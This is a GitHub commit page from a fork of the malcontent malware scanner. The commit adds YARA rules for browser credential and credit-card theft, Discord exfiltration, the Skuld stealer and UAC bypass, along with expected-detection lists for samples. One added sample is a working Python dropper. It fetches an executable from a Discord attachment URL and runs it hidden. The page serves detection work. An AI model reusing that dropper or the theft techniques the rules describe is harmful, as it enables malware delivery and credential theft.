forked from chainguard-dev/malcontent
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Rule improvements from GitHub Search Manipulation analysis (chainguar…
…d-dev#120) * Rule improvements from GitHub Search Manipulation analysis * Remove commented out string * Improve the accuracy of the Python dropper rules * Fix typo * CRLF -> LF * Add more browser secret rules
- Loading branch information
1 parent
9073a9a
commit 6bcc45f
Showing
18 changed files
with
198 additions
and
19 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,10 +1,10 @@ | ||
|
||
rule discord_bot : suspicious { | ||
meta: | ||
description = "Uses the Discord webhooks API" | ||
ref = "https://github.com/bartblaze/community/blob/3f3997f8c79c3605ae6d5324c8578cb12c452512/data/yara/binaries/indicator_suspicious.yar#L706" | ||
strings: | ||
$s1 = "discord.com/api/webhooks" | ||
$s2 = "cdn.discordapp.com/attachments" | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
|
||
rule tempdir { | ||
meta: | ||
description = "looks up location of temp directory" | ||
pledge = "wpath" | ||
strings: | ||
$gettempdir = "gettempdir" fullword | ||
$tempdir = "TEMPDIR" fullword | ||
$tmpdir = "TMPDIR" fullword | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
rule stealthworker : critical { | ||
meta: | ||
description = "Skuld stealer: https://github.com/hackirby/skuld/blob" | ||
ref = "https://github.com/hackirby/skuld" | ||
strings: | ||
$ref = "skuld" fullword | ||
$wallet = "walletsinjection" fullword | ||
condition: | ||
all of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
|
||
rule uac_bypass : suspicious { | ||
meta: | ||
description = "may bypass UAC (User Account Control)" | ||
strings: | ||
$uacbypass = "uacbypass" fullword | ||
$delegate = "fodhelper" fullword | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
rule chromium_master_password : suspicious { | ||
meta: | ||
description = "Gets Chromium credit card information" | ||
strings: | ||
$web_data = "Web Data" | ||
$encrypted_key = "credit_cards" | ||
$c = "Chrome" | ||
$c2 = "Chromium" | ||
condition: | ||
any of ($c*) and $web_data and $encrypted_key | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
rule chromium_master_password : suspicious { | ||
meta: | ||
description = "Decrypts Chromium master password" | ||
strings: | ||
$local_state = "Local State" | ||
$encrypted_key = "encrypted_key" | ||
$os_crypt = "os_crypt" | ||
condition: | ||
all of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
rule firefox_master_password : suspicious { | ||
meta: | ||
description = "Decrypts Firefox master password" | ||
strings: | ||
$firefox = "Firefox" | ||
$nssPrivate = "nssPrivate" | ||
condition: | ||
all of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,10 +1,13 @@ | ||
rule nspasteboard : notable macos { | ||
meta: | ||
ref = "https://www.sentinelone.com/blog/session-cookies-keychains-ssh-keys-and-more-7-kinds-of-data-malware-steals-from-macos-users/" | ||
description = "Accesses macOS clipboard conetnts" | ||
description = "Accesses clipboard contents" | ||
strings: | ||
$ref = "NSPasteboard" fullword | ||
$ref2 = "pbpaste" fullword | ||
$pb1 = "NSPasteboard" fullword | ||
$pb2 = "pbpaste" fullword | ||
$lib = "golang.design/x/clipboard" | ||
$lib2 = "atotto/clipboard" | ||
condition: | ||
all of them | ||
all of ($pb*) or any of ($lib*) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,72 @@ | ||
# Windows/2024.GitHub.Clipper/main.exe | ||
archives/zip | ||
combo/net/scan_tool | ||
combo/stealer/browser | ||
combo/stealer/creds | ||
combo/stealer/discord | ||
combo/stealer/office | ||
combo/stealer/wallet | ||
compression/gzip | ||
crypto/aes | ||
crypto/ecdsa | ||
crypto/ed25519 | ||
crypto/tls | ||
databases/sqlite | ||
encoding/base64 | ||
encoding/json | ||
encoding/json/decode | ||
encoding/json/encode | ||
env/TEMP | ||
env/TERM | ||
exec/program | ||
exfil/discord | ||
fs/directory/list | ||
fs/file/read | ||
fs/permission/chown | ||
fs/permission/modify | ||
kernel/cpu/info | ||
malware/family/skuld | ||
net/dns | ||
net/dns/txt | ||
net/download | ||
net/geoip | ||
net/hostname/resolve | ||
net/http/accept/encoding | ||
net/http/auth | ||
net/http/cookies | ||
net/http/post | ||
net/http/request | ||
net/http2 | ||
net/http_proxy | ||
net/ip/parse | ||
net/mac/address | ||
net/public_ip | ||
net/sendfile | ||
net/socket/listen | ||
net/socket/local/address | ||
net/socket/peer/address | ||
net/socket/receive | ||
net/socket/send | ||
net/udp/receive | ||
net/udp/send | ||
net/upload | ||
net/url | ||
net/url/request | ||
net/vnc | ||
privesc/uac_bypass | ||
process/list | ||
ref/extensions/office | ||
ref/path/etc | ||
ref/path/etc/hosts | ||
ref/path/etc/resolv.conf | ||
ref/site/download | ||
ref/site/github_raw | ||
ref/site/http/dynamic | ||
ref/site/url | ||
ref/words/password | ||
secrets/chromium_credit_cards | ||
secrets/chromium_master_password | ||
secrets/firefox/cookies | ||
secrets/firefox/master_password | ||
secrets/private_key | ||
ui/clipboard |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
import requests | ||
import os | ||
import uuid | ||
import tempfile | ||
import subprocess | ||
|
||
url = "https://cdn.discordapp.com/attachments/1222129364288671834/1224848705887404072/main.exe?ex=661efc40&is=660c8740&hm=84680cfd5f4b04386b135463a79ba811bbe3a662e794aa69b4da9d33065602a0&" | ||
temp = tempfile.gettempdir() | ||
|
||
name = os.path.join(temp, str(uuid.uuid4()) + ".exe") | ||
|
||
response = requests.get(url) | ||
|
||
if response.status_code == 200: | ||
with open(name, 'wb') as dosya: | ||
dosya.write(response.content) | ||
|
||
subprocess.Popen([name], creationflags=subprocess.CREATE_NO_WINDOW, shell=True) | ||
else: | ||
exit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
# Windows/2024.GitHub.Clipper/raw.py | ||
combo/dropper/python | ||
exec/program | ||
fs/tempdir | ||
net/url/request | ||
ref/site/download | ||
ref/site/url |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters